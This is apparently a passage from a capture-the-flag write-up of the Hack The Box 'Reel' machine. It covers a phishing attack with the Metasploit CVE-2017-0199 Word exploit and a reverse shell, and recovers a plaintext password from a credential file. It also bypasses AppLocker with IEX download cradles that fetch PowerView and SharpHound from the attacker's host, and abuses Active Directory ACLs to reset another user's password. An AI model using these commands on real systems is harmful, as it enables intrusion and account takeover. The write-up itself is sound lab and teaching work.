                                                                                                    | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------- ----------------------------------------
Microsoft Office Word - '.RTF' Malicious HTA Execution (Metasploit)                                 | exploits/windows/remote/41934.rb
Microsoft Word - '.RTF' Remote Code Execution                                                       | exploits/windows/remote/41894.py
Microsoft Word - '.RTF' pFragments Stack Buffer Overflow (File Format) (MS10-087) (Metasploit)      | exploits/windows/local/16686.rb
Microsoft Word - RTF Object Confusion (MS14-017) (Metasploit)                                       | exploits/windows/local/32793.rb
Microsoft Word 2007 - RTF Object Confusion (ASLR + DEP Bypass)                                      | exploits/windows/local/36207.py
---------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
</code></pre></div></div>

<p>Okay, good enough. Most of these seem pretty old (MS10-087, MS14-017, Microsoft Word 2007…), but the first one sounds better. And also it’s available in Metasploit, which is great if you are a script kiddie like me! A quick inspection of the exploit file with <code class="language-plaintext highlighter-rouge">searchsploit -x 41934</code> reveals the CVE field (<code class="language-plaintext highlighter-rouge">2017-0199</code>) which, apart from looking more recent, is a fantastic field for searching in Metasploit. Let’s give it a try:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># msfdb run

msf &gt; search CVE-2017-0199

Matching Modules
================

   Name                                        Disclosure Date  Rank       Check  Description
   ----                                        ---------------  ----       -----  -----------
   exploit/windows/fileformat/office_word_hta  2017-04-14       excellent  No     Microsoft Office Word Malicious Hta Execution
</code></pre></div></div>

<p>Great, we got our candidate exploit, let’s see what it does:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf &gt; use exploit/windows/fileformat/office_word_hta

msf exploit(windows/fileformat/office_word_hta) &gt; show options

Module options (exploit/windows/fileformat/office_word_hta):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.doc          yes       The file name.
   SRVHOST   0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH   default.hta      yes       The URI to use for the HTA file


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Office Word
</code></pre></div></div>

<p>Okay, from the <code class="language-plaintext highlighter-rouge">info</code> and <code class="language-plaintext highlighter-rouge">options</code> we can guess it creates a malicious document which, if opened with a vulnerale version of Microsoft Word, will download an <code class="language-plaintext highlighter-rouge">HTA</code> file from our local server, which in turn will execute the code we want. That’s cool!</p>

<p>After setting the appropiate options and payload (the good old <code class="language-plaintext highlighter-rouge">windows/x64/shell/reverse_tcp</code>), we are set to go. By running <code class="language-plaintext highlighter-rouge">exploit</code>, the malicious document is generated in <code class="language-plaintext highlighter-rouge">/root/.msf4/local/msf.doc</code> and a web server starts listening, offering our little <code class="language-plaintext highlighter-rouge">default.hta</code> file. Also, the handler for our payload is started.</p>

<p>Now, how do we use the SMTP server to send the document to nico? Well, unless some credentials are needed, connecting and using an SMTP server should be straightforward, and more so if you <a href="https://stackoverflow.com/questions/1966073/how-do-i-send-attachments-using-smtp#8243031">steal some code from StackOverflow</a> and smash it together hoping for the best. The script I ended up ensembling (in lack of a better word) looks like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Import smtplib for the actual sending function
</span><span class="kn">import</span> <span class="nn">smtplib</span>

<span class="c1"># For guessing MIME type
</span><span class="kn">import</span> <span class="nn">mimetypes</span>

<span class="c1"># Import the email modules we'll need
</span><span class="kn">import</span> <span class="nn">email</span>
<span class="kn">import</span> <span class="nn">email.mime.application</span>

<span class="kn">import</span> <span class="nn">sys</span>

<span class="c1"># Create a text/plain message
</span><span class="n">msg</span> <span class="o">=</span> <span class="n">email</span><span class="p">.</span><span class="n">mime</span><span class="p">.</span><span class="n">Multipart</span><span class="p">.</span><span class="n">MIMEMultipart</span><span class="p">()</span>
<span class="n">msg</span><span class="p">[</span><span class="s">'Subject'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'Greetings'</span>
<span class="n">msg</span><span class="p">[</span><span class="s">'From'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'hey@megabank.com'</span>
<span class="n">msg</span><span class="p">[</span><span class="s">'To'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'nico@megabank.com'</span>

<span class="c1"># The main body is just another attachment
</span><span class="n">body</span> <span class="o">=</span> <span class="n">email</span><span class="p">.</span><span class="n">mime</span><span class="p">.</span><span class="n">Text</span><span class="p">.</span><span class="n">MIMEText</span><span class="p">(</span><span class="s">"""Hello, how are you? I am fine.
        This is a rather nice letter, don't you think?"""</span><span class="p">)</span>
<span class="n">msg</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">body</span><span class="p">)</span>

<span class="n">filename</span><span class="o">=</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>

<span class="n">fp</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span><span class="s">'rb'</span><span class="p">)</span>
<span class="n">att</span> <span class="o">=</span> <span class="n">email</span><span class="p">.</span><span class="n">mime</span><span class="p">.</span><span class="n">application</span><span class="p">.</span><span class="n">MIMEApplication</span><span class="p">(</span><span class="n">fp</span><span class="p">.</span><span class="n">read</span><span class="p">(),</span><span class="n">_subtype</span><span class="o">=</span><span class="s">"rtf"</span><span class="p">)</span>
<span class="n">fp</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">att</span><span class="p">.</span><span class="n">add_header</span><span class="p">(</span><span class="s">'Content-Disposition'</span><span class="p">,</span><span class="s">'attachment'</span><span class="p">,</span><span class="n">filename</span><span class="o">=</span><span class="n">filename</span><span class="p">)</span>
<span class="n">msg</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">att</span><span class="p">)</span>

<span class="n">s</span> <span class="o">=</span> <span class="n">smtplib</span><span class="p">.</span><span class="n">SMTP</span><span class="p">(</span><span class="s">'10.10.10.77'</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">ehlo</span><span class="p">()</span>
<span class="n">s</span><span class="p">.</span><span class="n">sendmail</span><span class="p">(</span><span class="s">'hey@megabank.com'</span><span class="p">,[</span><span class="s">'nico@megabank.com'</span><span class="p">],</span> <span class="n">msg</span><span class="p">.</span><span class="n">as_string</span><span class="p">())</span>
<span class="n">s</span><span class="p">.</span><span class="n">quit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"Sent!"</span>
</code></pre></div></div>

<p>As you can see, what it does is simply crafting and e-mail with subject “Greetings”, from “hey@megabank.com”, to “nico@megabank.com”, some stupid text and the malicious file attached to it (specified when calling the script), and then it connects to Reel and tries to use the SMTP server to send it. What do we have to lose?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cp /root/.msf4/local/msf.doc .
# python send_mail.py msf.doc

Sent!
</code></pre></div></div>

<p>And now we just wait…</p>

<p>And wait…</p>

<p>Nothing. Damn it!</p>

<h3 id="double-check-your-payloads">Double check your payloads</h3>

<p>I have to admit I lost <em>a lot</em> of time here. I thought that maybe the Word version used by nico wasn’t vulnerable to this exploit. I considered trying to exploit one of the other services of the box. I tried to send the document manually connecting to the SMTP to no avail. I tried to rename the document to <code class="language-plaintext highlighter-rouge">msf.rtf</code> just in case nico only opened files with the RTF extension. Nothing. I was lost in the darkness.</p>

<p>But then I realized a little something. I stopped the web server used by Metasploit, copied the malicious document to another directory and listened there on the same port with <code class="language-plaintext highlighter-rouge">SimpleHTTPServer</code>. And after sending the e-mail again, I saw the HTA document was actually being requested! So, the problem was the HTA file itself, i.e. the payload… The payload I used when generating the document was <code class="language-plaintext highlighter-rouge">windows/x64/shell/reverse_tcp</code>. For some reason (probably other failures in previous boxes) I assumed the machine was 64 bit. But that’s a big assumption to make, specially with 0 data supporting it. I changed the payload to <code class="language-plaintext highlighter-rouge">windows/shell/reverse_tcp</code>, repeated the process, closed my eyes and waited.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit(windows/fileformat/office_word_hta) &gt; run
[*] Exploit running as background job 1.

[*] Started reverse TCP handler on 10.10.12.157:443
[+] msf.rtf stored at /root/.msf4/local/msf.rtf
[*] Using URL: http://10.10.12.157:80/default.hta
[*] Server started.

# cp /root/.msf4/local/msf.rtf .
# python send_mail.py msf.rtf
Sent!

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.10.10.77
[*] Command shell session 1 opened (10.10.12.157:443 -&gt; 10.10.10.77:49954) at 2018-11-07 11:49:01 +0100

</code></pre></div></div>

<p>Suddenly, everything in life was perfect.</p>

<h1 id="nico">Nico</h1>

<p>We finally have a shell on this box. It’s going to be easy from here, right? Of course, that malicious document thing is the peak of difficulty of this machine, is it not? (<em>Narrator</em>: again, it was not)</p>

<p>Normally, my first serious move when landing on a Windows machine is running <code class="language-plaintext highlighter-rouge">PowerUp.ps1</code>, analyze the results and work from there. But, before that, I like to peek around, at least the home directory of the user I’ve accessed with. So, to <code class="language-plaintext highlighter-rouge">C:\Users\nico\</code> we go!</p>

<p>In his <code class="language-plaintext highlighter-rouge">Desktop</code>, aside from the <code class="language-plaintext highlighter-rouge">user.txt</code> flag (yay!), there’s an interesting file called <code class="language-plaintext highlighter-rouge">cred.xml</code>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Objs</span> <span class="na">Version=</span><span class="s">"1.1.0.1"</span> <span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/powershell/2004/04"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;Obj</span> <span class="na">RefId=</span><span class="s">"0"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;TN</span> <span class="na">RefId=</span><span class="s">"0"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;T&gt;</span>System.Management.Automation.PSCredential<span class="nt">&lt;/T&gt;</span>
      <span class="nt">&lt;T&gt;</span>System.Object<span class="nt">&lt;/T&gt;</span>
    <span class="nt">&lt;/TN&gt;</span>
    <span class="nt">&lt;ToString&gt;</span>System.Management.Automation.PSCredential<span class="nt">&lt;/ToString&gt;</span>
    <span class="nt">&lt;Props&gt;</span>
      <span class="nt">&lt;S</span> <span class="na">N=</span><span class="s">"UserName"</span><span class="nt">&gt;</span>HTB\Tom<span class="nt">&lt;/S&gt;</span>
      <span class="nt">&lt;SS</span> <span class="na">N=</span><span class="s">"Password"</span><span class="nt">&gt;</span>01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692<span class="nt">&lt;/SS&gt;</span>
    <span class="nt">&lt;/Props&gt;</span>
  <span class="nt">&lt;/Obj&gt;</span>
<span class="nt">&lt;/Objs&gt;</span>
</code></pre></div></div>

<p>Hey, I know the type <code class="language-plaintext highlighter-rouge">PSCredential</code>! As the name of the file suggests, it probably contains credentials, and judging by its contents, they belong to the user <code class="language-plaintext highlighter-rouge">tom</code>. That’s great! It’s only a matter of researching what type of file is this and how to obtain the plain-text password from it. After googling a little, <a href="https://stackoverflow.com/questions/21741803/powershell-securestring-encrypt-decrypt-to-plain-text-not-working">two</a> StackOverflow <a href="https://stackoverflow.com/questions/18747942/how-to-use-a-powerhsell-serialized-object">answers</a> help me understand that this file is the XML representation of a serialized Powershell object, more specifically a <code class="language-plaintext highlighter-rouge">PSCredential</code> one. And that the Powershell command <code class="language-plaintext highlighter-rouge">Import-Clixml</code> can help us undoing the process:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; powershell (Import-Clixml cred.xml).GetNetworkCredential().Password
1ts-mag1c!!!
</code></pre></div></div>

<p>Alright, this is going well!</p>

<h2 id="tom">Tom</h2>

<p>Luckily for us, SSH is listening on this box, so we don’t have to rely on the shell obtained through the Word exploit. Let’s just log in as Tom like a completely legitimate user.</p>

<p>Again, peeking on Tom’s Desktop reveals another interesting folder: <code class="language-plaintext highlighter-rouge">AD Audit</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; dir
  Volume in drive C has no label
  Volume Serial number is CC8A-33E1

  Directory of C:\Users\tom\Desktop\AD Audit

05/29/2018	08:02 PM	&lt;DIR&gt;		.
05/29/2018	08:02 PM	&lt;DIR&gt;		..
05/29/2018	11:44 PM	&lt;DIR&gt;		BloodHound
05/29/2018	08:02 PM		    182	note.txt
		    1 File(s)		      182 bytes
		    3 Dir(s)      15,719,768,064 bytes free
</code></pre></div></div>

<p>BloodHound! This is going to be interesting… But let’s read <code class="language-plaintext highlighter-rouge">note.txt</code> first:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; type note.txt
Findings:

Surprisingly, no AD attack paths from user to Domain Admin (using default shortest path query).

Maybe we should re-run Cypher query against other groups we've created.
</code></pre></div></div>

<p>OK, big hint here. BloodHound out-of-the-box didn’t find a way to escalate from user to DA, so probably we have to use it in a not-so-default way to find something juicy. At this point, I had to research (a.k.a. googling) again because, even though I knew the tool, I had never used it.</p>

<p>In short, BloodHound is a <em>fantastic</em> tool that helps analyzing an AD environment in order to find ways low-privileged users could escalate to Domain Admins, moving through other users and groups until reaching their traget. It’s not only that BloodHound comes with <em>a lot</em> of scripts that help with the task of obtaining this information (called <em>Ingestors</em>), but it also has a beautiful GUI which presents it in a graph format, showing relations between entities (mainly AD users and groups) and allowing you to query this graph and find whatever you need. For more information you can refer to <a href="https://github.com/BloodHoundAD/Bloodhound/wiki">BloodHound’s wiki on GitHub</a> and the wonderful DEF CON presentation <a href="https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-24-Robbins-Vazarkar-Schroeder-Six-Degrees-of-Domain-Admin.pdf">Six Degrees of Domain Admin</a>.</p>

<p>At this point, it’s more or less clear what we need to do:</p>

<ol>
  <li>Run the BloodHound Ingestors to obtain the raw data of the AD environment</li>
  <li>Extract the data to our Kali (so we have a GUI to see the graphs)</li>
  <li>Install and launch BloodHound, and feed it with Reel’s AD data</li>
  <li>Query the graph until a path from <code class="language-plaintext highlighter-rouge">tom</code> to Admin is found</li>
</ol>

<p>Great, let’s get to work!</p>

<p>Firstly, we need to run Powershell, since SSH logs us into a simple CMD shell. Then, we’ll be able to load BloodHound into the context:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; powershell
&gt; cd 'C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors'
&gt; .\SharpHound.ps1
.\SharpHound.ps1 : File C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\SharpHound.ps1 cannot be loaded because its
operation is blocked by software restriction policies, such as those created by using Group Policy.
At line:1 char:1
+ .\SharpHound.ps1
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess
</code></pre></div></div>

<p>Oops! Remember the AppLocker document we found during our enumeration phase? <code class="language-plaintext highlighter-rouge">.ps1</code> files are restricted by AppLocker, so we won’t be able to run scripts this way. But we know interactive Powershell actually works, since we used it in our initial exploit and right now in our shell. This means we can easily bypass AppLocker by simply using <code class="language-plaintext highlighter-rouge">IEX</code> and <code class="language-plaintext highlighter-rouge">Get-Content</code> like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; Get-Content SharpHound.ps1 -raw | IEX
</code></pre></div></div>

<h3 id="about-versions-csvs-and-jsons">About versions, CSVs and JSONs</h3>

<p>Now, I’ll save you some time and tell you a little spoiler. The version of BloodHound installed on Reel is an old one (<code class="language-plaintext highlighter-rouge">1.5.2</code>), which used CSV as the format for the collected data. If you happened to install the most recent BloodHound on your attacker box, this data won’t be accepted by it, since BloodHound 2 onwards expects data in JSON format. So you have two options: either you install BloodHound 1.5.2 on your box, or you load BloodHound’s most recent Ingestor into Reel. I tried both ways, and I think the second one is easier. So let’s do that.</p>

<p>After cloning the latest BloodHound version from GitHub on our attacker box, we can just use python’s <code class="language-plaintext highlighter-rouge">SimpleHTTPServer</code> to serve <code class="language-plaintext highlighter-rouge">Ingestors/SharpHound.ps1</code> and get it from Reel:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.12.157/SharpHound.ps1')
</code></pre></div></div>

<p>And now we can run the <code class="language-plaintext highlighter-rouge">Invoke-BloodHound</code> function to gather the needed data, but first we’ll need to move to a directory in which we can write without risk of overwriting anything or not having write permissions:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; cd C:\Windows\TEMP
&gt; Invoke-BloodHound -CollectionMethod All
</code></pre></div></div>

<p>Let’s go big and use <code class="language-plaintext highlighter-rouge">-CollectionMethod All</code> since the <code class="language-plaintext highlighter-rouge">note.txt</code> file mentioned the default query didn’t find anything, so we’ll need all the data we are able to gather. After some time, the command ends and we see several files were created: <code class="language-plaintext highlighter-rouge">.json</code> files, a <code class="language-plaintext highlighter-rouge">.bin</code> file and a <code class="language-plaintext highlighter-rouge">.zip</code> file. What BloodHound needs is the ZIP file (which contains all the generated JSONs), so let’s obtain it with SCP since we have SSH available :)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># scp tom@10.10.10.77:'"C:\Windows\TEMP\20181107184135_BloodHound.zip"' .
tom@10.10.10.77's password:
20181107184135_BloodHound.zip			                                                                      100%   8.2K  66.8MB/s   00:00
</code></pre></div></div>

<p>(FTR, I had to use both single (<code class="language-plaintext highlighter-rouge">'</code>) and double (<code class="language-plaintext highlighter-rouge">"</code>) quotes for the path to be correctly interpreted by both SSH and Windows)</p>

<h2 id="planning-the-attack-with-bloodhound">Planning the attack with BloodHound</h2>

<p>Great! Time to launch BloodHound! It needs <code class="language-plaintext highlighter-rouge">neo4j</code> to be running, so let’s get that too:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># neo4j console
# bloodhound
</code></pre></div></div>

<p>After being shown the cool BloodHound logo, we can use the <code class="language-plaintext highlighter-rouge">Upload Data</code> button on the right panel and select the ZIP file to load Reel’s data into BloodHound. Some seconds later, we can see a graph containing the <code class="language-plaintext highlighter-rouge">DOMAIN ADMINS@HTB.LOCAL</code> group, with its three members, none of them accessible by us. Well, it seems the <code class="language-plaintext highlighter-rouge">note.txt</code> file was right and we’ll need to dig deeper. Let’s start by seeing which paths are accessible from our current user, <code class="language-plaintext highlighter-rouge">tom</code>.</p>

<p>By writing <code class="language-plaintext highlighter-rouge">tom</code> in the upper search bar, BloodHound rapidly suggests the node <code class="language-plaintext highlighter-rouge">TOM@HTB.LOCAL</code>, which we can select. Then, by clicking on the graph node, all the collected info about Tom is shown to us. We are interested in the <code class="language-plaintext highlighter-rouge">Outbound Object Control</code> section, which shows which other AD objects <code class="language-plaintext highlighter-rouge">tom</code> has control over. We are shown the following graph:</p>

<p><img src="/images/reel-bloodhound-tom.png" alt="Tom's path to victory" /></p>

<p>Right away, we see an interesting path:</p>

<ol>
  <li>Tom has <code class="language-plaintext highlighter-rouge">WriteOwner</code> permissions over Claire</li>
  <li>Claire has <code class="language-plaintext highlighter-rouge">WriteDacl</code> permissions over the group <code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code></li>
  <li><code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code> sounds interesting :)</li>
</ol>

<p>Again, I have to admit I had no idea about what exactly <code class="language-plaintext highlighter-rouge">WriteOwner</code> and <code class="language-plaintext highlighter-rouge">WriteDacl</code> meant or allowed me to do, so it was time to <del>furiously google</del> research again. I ended up finding <a href="https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf"><em>the</em> article</a> (written by the authors of BloodHound themselves) that helped me understand what could be done with this attack path.</p>

<p>In short, <code class="language-plaintext highlighter-rouge">WriteOwner</code> means Tom can become the owner of Claire’s AD Object, meaning he can then fully control any of its properties (one of them being her password). On the other hand, <code class="language-plaintext highlighter-rouge">WriteDacl</code> means Claire can change the Access Control Lists (ACL) of the <code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code> group, which in turn can be used to add herself to that group. By doing this, we can escalate from Tom to Claire, then to the <code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code> group, and then explore what the members of this group can do.</p>

<h2 id="executing-the-attack-with-powerview">Executing the attack with PowerView</h2>

<p>In order to easily take advantage of the <code class="language-plaintext highlighter-rouge">WriteOwner</code> and <code class="language-plaintext highlighter-rouge">WriteDacl</code> permissions, we’ll use <code class="language-plaintext highlighter-rouge">PowerView</code>, which is part of the excellent <a href="https://github.com/PowerShellMafia/PowerSploit.git">PowerSploit</a> collection (remember to use the <code class="language-plaintext highlighter-rouge">dev</code> branch!). Again, let’s use <code class="language-plaintext highlighter-rouge">SimpleHTTPServer</code> to download <code class="language-plaintext highlighter-rouge">PowerView.ps1</code> (it’s in the <code class="language-plaintext highlighter-rouge">Recon</code> directory) into Reel:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.12.157/PowerView.ps1')
</code></pre></div></div>

<p>Ok, we got our tools. Let’s play.</p>

<p>First, we’ll confirm we have <code class="language-plaintext highlighter-rouge">WriteOwner</code> access over Claire as Tom:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; $tomSid = Get-DomainUser tom | Select-Object -ExpandProperty objectsid
&gt; Get-DomainObjectACL claire -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $tomSid}
                           
AceType               : AccessAllowed
ObjectDN              : CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL
ActiveDirectoryRights : WriteOwner
OpaqueLength          : 0
ObjectSID             : S-1-5-21-2648318136-3688571242-2924127574-1130
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False 
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-2648318136-3688571242-2924127574-1107
AccessMask            : 524288
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
</code></pre></div></div>

<p>Great, we have. Now let’s become Claire’s owner and reset her password!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; Set-DomainObjectOwner -Identity claire -TargetIdentity tom
&gt; Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
</code></pre></div></div>

<p>Did it work?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; Get-DomainObjectACL claire -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $tomSid}

AceQualifier           : AccessAllowed
ObjectDN               : CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : User-Force-Change-Password
ObjectSID              : S-1-5-21-2648318136-3688571242-2924127574-1130
     
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-2648318136-3688571242-2924127574-1107
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

AceType               : AccessAllowed
ObjectDN              : CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-2648318136-3688571242-2924127574-1130
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-2648318136-3688571242-2924127574-1107
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
</code></pre></div></div>

<p>It seems so! We should be able to set the password we want now:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; $secPaswd = ConvertTo-SecureString -String 's0mepassw0rd' -AsPlainText -Force
&gt; Set-ADAccountPassword -Reset -NewPassword $secPaswd -Identity claire
</code></pre></div></div>

<p>We should be able to login as Claire with <code class="language-plaintext highlighter-rouge">s0mepassw0rd</code> as password now…</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ssh claire@10.10.10.77
claire@10.10.10.77's password:

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

claire@REEL C:\Users\claire&gt;
</code></pre></div></div>

<p>Amazing!</p>

<h2 id="claire">Claire</h2>

<p>Ok, we are near! We only need to do something similar for the <code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code> group and see what being part of it means.</p>

<p>Of course, since we changed users, we need to load <code class="language-plaintext highlighter-rouge">PowerView</code> again:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; powershell
&gt; IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.12.157/PowerView.ps1')
</code></pre></div></div>

<p>And again guided by the fantastic <a href="https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf"><em>An Ace Up The Sleeve</em></a> article, we can grant ourselves all ACL rights over <code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code>, since we have the <code class="language-plaintext highlighter-rouge">WriteDacl</code> permission:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; Add-DomainObjectACL -TargetIdentity 'Backup_Admins' -PrincipalIdentity claire -Rights All
</code></pre></div></div>

<p>With these rights, we should be able to add ourselves to the group:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; net group Backup_Admins /add claire
</code></pre></div></div>

<p>No errors, seems good! We can check it worked by running <code class="language-plaintext highlighter-rouge">net user claire</code> and seeing we are indeed a proud member of <code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code>. Great! Now what?</p>

<h3 id="note">Note</h3>

<p>At this point, while I was exploring Claire as a <code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code> member, other Hack The Box users were constantly resetting Claire’s password to other values, so if I logged out (you will see why in a moment) I couldn’t log back in. I ended up leaving Tom’s SSH session open and prepared a script to automate the process of resetting Claire’s password to the value I wanted so, if someone changed it, I could easily change it back. My <code class="language-plaintext highlighter-rouge">ResetClairePassword.ps1</code> script was like this:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Set-DomainObjectOwner</span><span class="w"> </span><span class="nt">-Identity</span><span class="w"> </span><span class="nx">claire</span><span class="w"> </span><span class="nt">-OwnerIdentity</span><span class="w"> </span><span class="nx">tom</span><span class="w">
</span><span class="n">Add-DomainObjectAcl</span><span class="w"> </span><span class="nt">-TargetIdentity</span><span class="w"> </span><span class="nx">claire</span><span class="w"> </span><span class="nt">-PrincipalIdentity</span><span class="w"> </span><span class="nx">tom</span><span class="w"> </span><span class="nt">-Rights</span><span class="w"> </span><span class="nx">ResetPassword</span><span class="w">
</span><span class="nv">$SecPasswd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="nt">-String</span><span class="w"> </span><span class="s1">'s0mepassw0rd'</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="n">Set-ADAccountPassword</span><span class="w"> </span><span class="nt">-Reset</span><span class="w"> </span><span class="nt">-NewPassword</span><span class="w"> </span><span class="nv">$SecPasswd</span><span class="w"> </span><span class="nt">-Identity</span><span class="w"> </span><span class="nx">claire</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="backup-admin">Backup Admin</h2>

<p>Another shameful confession. I wasted a lot of time at this point, and it was pretty frustrating. It required a lot of work reaching to this point, and it seemed it was for nothing. I couldn’t access <code class="language-plaintext highlighter-rouge">Administrator</code> home directory, I couldn’t read or write new files compared to “base” Claire, <code class="language-plaintext highlighter-rouge">BACKUP_ADMINS</code> didn’t have any control over other AD objects according to BloodHound… So, was all this work for nothing?!</p>

<p>…Turns out you have to log out and log in again for group changes to take effect. It’s something obvious, it’s something I knew from Linux (it works the same way there), but my tired brain couldn’t remember it and that meant a lot of frustation and wasted time wandering around. Lesson learned (even though I thought I already knew this): if you are tired, take a break! Even if you feel the victory so near you could touch it, working with a tired mind almost always doesn’t pay off.</p>

<p>Ok, after this dramatic complication, we can continue! Log out, log in again, and the group change takes effect. Now, as Claire, we can access <code class="language-plaintext highlighter-rouge">C:\Users\Administrator</code>. Finally!! Let’s read <code class="language-plaintext highlighter-rouge">root.txt</code> and claim our well deserved prize:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>claire@REEL C:\Users\Administrator\Desktop&gt;type root.txt
Access is denied.
</code></pre></div></div>

<p>God dammit!</p>

<p>It couldn’t be that easy, right? It seems there are other things in <code class="language-plaintext highlighter-rouge">Administrator</code>’s Desktop. Let’s see what this <code class="language-plaintext highlighter-rouge">Backup Scripts</code> folder is.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; cd "C:\Users\Administrator\Desktop\Backup Scripts"
&gt; dir
  Volume in drive C has no label
  Volume Serial number is CC8A-33E1

